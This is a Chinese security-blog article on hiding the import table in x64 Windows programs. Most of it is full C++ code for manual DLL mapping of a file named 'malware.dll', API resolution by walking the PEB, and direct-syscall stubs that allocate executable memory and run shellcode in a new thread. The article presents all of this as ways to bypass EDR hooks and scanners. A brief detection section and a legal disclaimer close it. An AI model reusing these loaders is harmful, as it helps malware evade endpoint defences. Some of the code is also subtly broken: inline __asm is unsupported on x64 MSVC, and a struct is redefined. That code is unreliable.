freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

x64环境下完全隐藏导入表技术全解析
LYL 2025-02-19 14:36:51 84322
所属地 广东省

一、导入表隐藏核心原理

在x64环境下彻底隐藏导入表需要突破传统PE加载机制,通过以下技术实现:

  1. 消除静态IAT:不依赖标准导入表结构

  2. 动态解析API:运行时直接通过内存寻址获取函数

  3. 绕过动态监控:规避EDR对API调用的Hook检测


二、手动映射DLL(Module Stomping)

2.1 技术原理

通过手动解析PE结构并加载DLL到内存,完全绕过Windows加载器对导入表的处理。

实现流程:

  1. 内存分配基址空间

  2. 复制PE头及节区

  3. 处理重定位和导入表

  4. 动态解析依赖项

2.2 完整实现代码

cpp

// manual_map.cpp
#include <Windows.h>
#include <winternl.h>

typedef NTSTATUS(NTAPI* LdrLoadDll_t)(
    PWCHAR PathToFile,
    ULONG Flags,
    PUNICODE_STRING ModuleFileName,
    PHANDLE ModuleHandle
);

void* ManualMap(const BYTE* peData) {
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)peData;
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)(peData + dosHeader->e_lfanew);

    // 分配内存
    void* imageBase = VirtualAlloc(
        (void*)ntHeader->OptionalHeader.ImageBase,
        ntHeader->OptionalHeader.SizeOfImage,
        MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE
    );

    // 复制PE头
    memcpy(imageBase, peData, ntHeader->OptionalHeader.SizeOfHeaders);

    // 复制节区
    PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeader);
    for (WORD i = 0; i < ntHeader->FileHeader.NumberOfSections; i++, section++) {
        void* dest = (BYTE*)imageBase + section->VirtualAddress;
        const BYTE* src = peData + section->PointerToRawData;
        memcpy(dest, src, section->SizeOfRawData);
    }

    // 处理重定位
    DWORD_PTR delta = (DWORD_PTR)imageBase - ntHeader->OptionalHeader.ImageBase;
    PIMAGE_DATA_DIRECTORY relocDir = &ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    if (delta != 0 && relocDir->Size > 0) {
        PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)((BYTE*)imageBase + relocDir->VirtualAddress);
        while (reloc->VirtualAddress) {
            DWORD count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
            PWORD relocItem = (PWORD)(reloc + 1);
            
            for (DWORD i = 0; i < count; i++) {
                if (relocItem[i] >> 12 == IMAGE_REL_BASED_DIR64) {
                    DWORD_PTR* patchAddr = (DWORD_PTR*)((BYTE*)imageBase + reloc->VirtualAddress + (relocItem[i] & 0xFFF));
                    *patchAddr += delta;
                }
            }
            reloc = (PIMAGE_BASE_RELOCATION)((BYTE*)reloc + reloc->SizeOfBlock);
        }
    }

    // 处理导入表(关键隐藏点)
    PIMAGE_DATA_DIRECTORY importDir = &ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    if (importDir->Size > 0) {
        PIMAGE_IMPORT_DESCRIPTOR importDesc = (PIMAGE_IMPORT_DESCRIPTOR)((BYTE*)imageBase + importDir->VirtualAddress);
        
        while (importDesc->Name) {
            LPCSTR dllName = (LPCSTR)((BYTE*)imageBase + importDesc->Name);
            HMODULE hMod = LoadLibraryA(dllName);

            PIMAGE_THUNK_DATA origThunk = (PIMAGE_THUNK_DATA)((BYTE*)imageBase + importDesc->OriginalFirstThunk);
            PIMAGE_THUNK_DATA iat = (PIMAGE_THUNK_DATA)((BYTE*)imageBase + importDesc->FirstThunk);

            while (origThunk->u1.AddressOfData) {
                FARPROC procAddr = NULL;
                if (origThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) {
                    procAddr = GetProcAddress(hMod, (LPCSTR)(origThunk->u1.Ordinal & 0xFFFF));
                } else {
                    PIMAGE_IMPORT_BY_NAME import = (PIMAGE_IMPORT_BY_NAME)((BYTE*)imageBase + origThunk->u1.AddressOfData);
                    procAddr = GetProcAddress(hMod, import->Name);
                }
                iat->u1.Function = (ULONGLONG)procAddr;
                
                origThunk++;
                iat++;
            }
            importDesc++;
        }
    }

    // 执行入口点
    if (ntHeader->OptionalHeader.AddressOfEntryPoint) {
        ((void(*)())((BYTE*)imageBase + ntHeader->OptionalHeader.AddressOfEntryPoint))();
    }

    return imageBase;
}

int main() {
    // 读取PE文件到内存(示例为自身)
    HANDLE hFile = CreateFile(L"malware.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    DWORD fileSize = GetFileSize(hFile, NULL);
    BYTE* peData = new BYTE[fileSize];
    ReadFile(hFile, peData, fileSize, NULL, NULL);
    CloseHandle(hFile);

    void* module = ManualMap(peData);
    delete[] peData;
    return 0;
}

技术优势

  • 内存中无完整IAT结构

  • 绕过静态导入表扫描


三、动态API解析(PEB遍历)

3.1 技术原理

通过遍历PEB结构直接获取API地址,完全不依赖导入表。

3.2 完整实现代码

cpp

// peb_resolve.cpp
#include <Windows.h>
#include <winternl.h>

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;
    PVOID DllBase;
    PVOID EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    // ... 其他字段省略
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

FARPROC GetProcAddressEx(LPCWSTR moduleName, LPCSTR procName) {
    PPEB peb = (PPEB)__readgsqword(0x60); // x64 PEB偏移
    PLIST_ENTRY head = &peb->Ldr->InMemoryOrderModuleList;
    PLIST_ENTRY entry = head->Flink;

    while (entry != head) {
        PLDR_DATA_TABLE_ENTRY module = CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)module->DllBase;
        PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((BYTE*)dosHeader + dosHeader->e_lfanew);

        // 匹配模块
        if (_wcsicmp(module->BaseDllName.Buffer, moduleName) == 0) {
            PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)(
                (BYTE*)dosHeader + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
            );

            DWORD* names = (DWORD*)((BYTE*)dosHeader + exports->AddressOfNames);
            WORD* ordinals = (WORD*)((BYTE*)dosHeader + exports->AddressOfNameOrdinals);
            DWORD* functions = (DWORD*)((BYTE*)dosHeader + exports->AddressOfFunctions);

            for (DWORD i = 0; i < exports->NumberOfNames; i++) {
                LPCSTR name = (LPCSTR)((BYTE*)dosHeader + names[i]);
                if (strcmp(name, procName) == 0) {
                    return (FARPROC)((BYTE*)dosHeader + functions[ordinals[i]]);
                }
            }
        }
        entry = entry->Flink;
    }
    return nullptr;
}

int main() {
    typedef int (WINAPI* MessageBoxW_t)(HWND, LPCWSTR, LPCWSTR, UINT);
    MessageBoxW_t pMessageBoxW = (MessageBoxW_t)GetProcAddressEx(L"user32.dll", "MessageBoxW");
    
    pMessageBoxW(NULL, L"API Resolved via PEB", L"Alert", MB_OK);
    return 0;
}

技术优势

  • 完全消除导入表

  • 绕过EDR的IAT监控


四、系统调用链(Syscall Chaining)

4.1 技术原理

通过直接系统调用链式执行敏感操作,完全不依赖任何用户层DLL。

4.2 完整实现代码

cpp

// syscall_chain.cpp
#include <Windows.h>

// Windows 10 21H2系统调用号
#define SYSCALL_NT_ALLOC_VM 0x18
#define SYSCALL_NT_PROTECT_VM 0x50
#define SYSCALL_NT_CREATE_THREAD 0xC4

EXTERN_C NTSTATUS SysNtAllocateVirtualMemory(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect
) {
    __asm {
        mov r10, rcx
        mov eax, SYSCALL_NT_ALLOC_VM
        syscall
        ret
    }
}

EXTERN_C NTSTATUS SysNtProtectVirtualMemory(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    PSIZE_T RegionSize,
    ULONG NewProtect,
    PULONG OldProtect
) {
    __asm {
        mov r10, rcx
        mov eax, SYSCALL_NT_PROTECT_VM
        syscall
        ret
    }
}

EXTERN_C NTSTATUS SysNtCreateThreadEx(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    PVOID ObjectAttributes,
    HANDLE ProcessHandle,
    PVOID StartAddress,
    PVOID Parameter,
    ULONG CreateFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximumStackSize,
    PVOID AttributeList,
    PCLIENT_ID ClientId
) {
    __asm {
        mov r10, rcx
        mov eax, SYSCALL_NT_CREATE_THREAD
        syscall
        ret
    }
}

int main() {
    BYTE shellcode[] = { 0xC3 }; // RET指令

    // 内存分配
    PVOID baseAddr = nullptr;
    SIZE_T size = sizeof(shellcode);
    SysNtAllocateVirtualMemory(
        GetCurrentProcess(),
        &baseAddr,
        0,
        &size,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE
    );

    // 写入Shellcode
    memcpy(baseAddr, shellcode, sizeof(shellcode));

    // 修改内存保护
    ULONG oldProtect;
    SysNtProtectVirtualMemory(
        GetCurrentProcess(),
        &baseAddr,
        &size,
        PAGE_EXECUTE_READ,
        &oldProtect
    );

    // 创建线程执行
    HANDLE hThread;
    SysNtCreateThreadEx(
        &hThread,
        THREAD_ALL_ACCESS,
        nullptr,
        GetCurrentProcess(),
        baseAddr,
        nullptr,
        0,
        0,
        0,
        0,
        nullptr,
        nullptr
    );

    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    return 0;
}

技术优势

  • 完全脱离用户层DLL

  • 绕过所有用户层Hook


五、防御与检测方案

5.1 检测技术

攻击方式检测方法
手动映射内存PE头特征扫描
PEB遍历检测非标准模块枚举行为
系统调用链监控非常用syscall调用序列

5.2 防御建议

powershell

# 启用内核态保护
Set-ProcessMitigation -Policy Enable ExportAddressFilter, ImportAddressFilter

# 监控异常内存操作
New-EventLog -LogName Security -Source "MemGuard"
Write-EventLog -LogName Security -Source "MemGuard" -EventId 7001 `
  -Message "检测到无模块关联的可执行内存"

六、技术演进方向

  1. AI驱动隐蔽

    python

    # 动态生成系统调用链
    import tensorflow as tf
    model = tf.keras.models.load_model('syscall_predictor.h5')
    next_syscall = model.predict(current_state)
  2. 硬件级隐藏

    • 利用Intel SGX安全区执行

    • 基于AMD SEV的内存加密

  3. 跨架构兼容

    nasm

    ; ARM64系统调用示例
    mov x8, #SYSCALL_NUMBER
    svc #0

七、法律声明

  1. 本文所述技术仅限用于授权安全研究

  2. 未经许可实施攻击违反《网络安全法》

# windows # PEB # IAT
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 LYL 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
LYL LV.4
这家伙太懒了,还未填写个人描述!
  • 22 文章数
  • 11 关注者
Java代码审计中的SSRF漏洞深度解析
2025-03-14
企业云安全中的Kubernetes攻击手法及防御策略
2025-03-06
XSS 漏洞深度解析:攻防对抗与高阶利用
2025-03-05
文章目录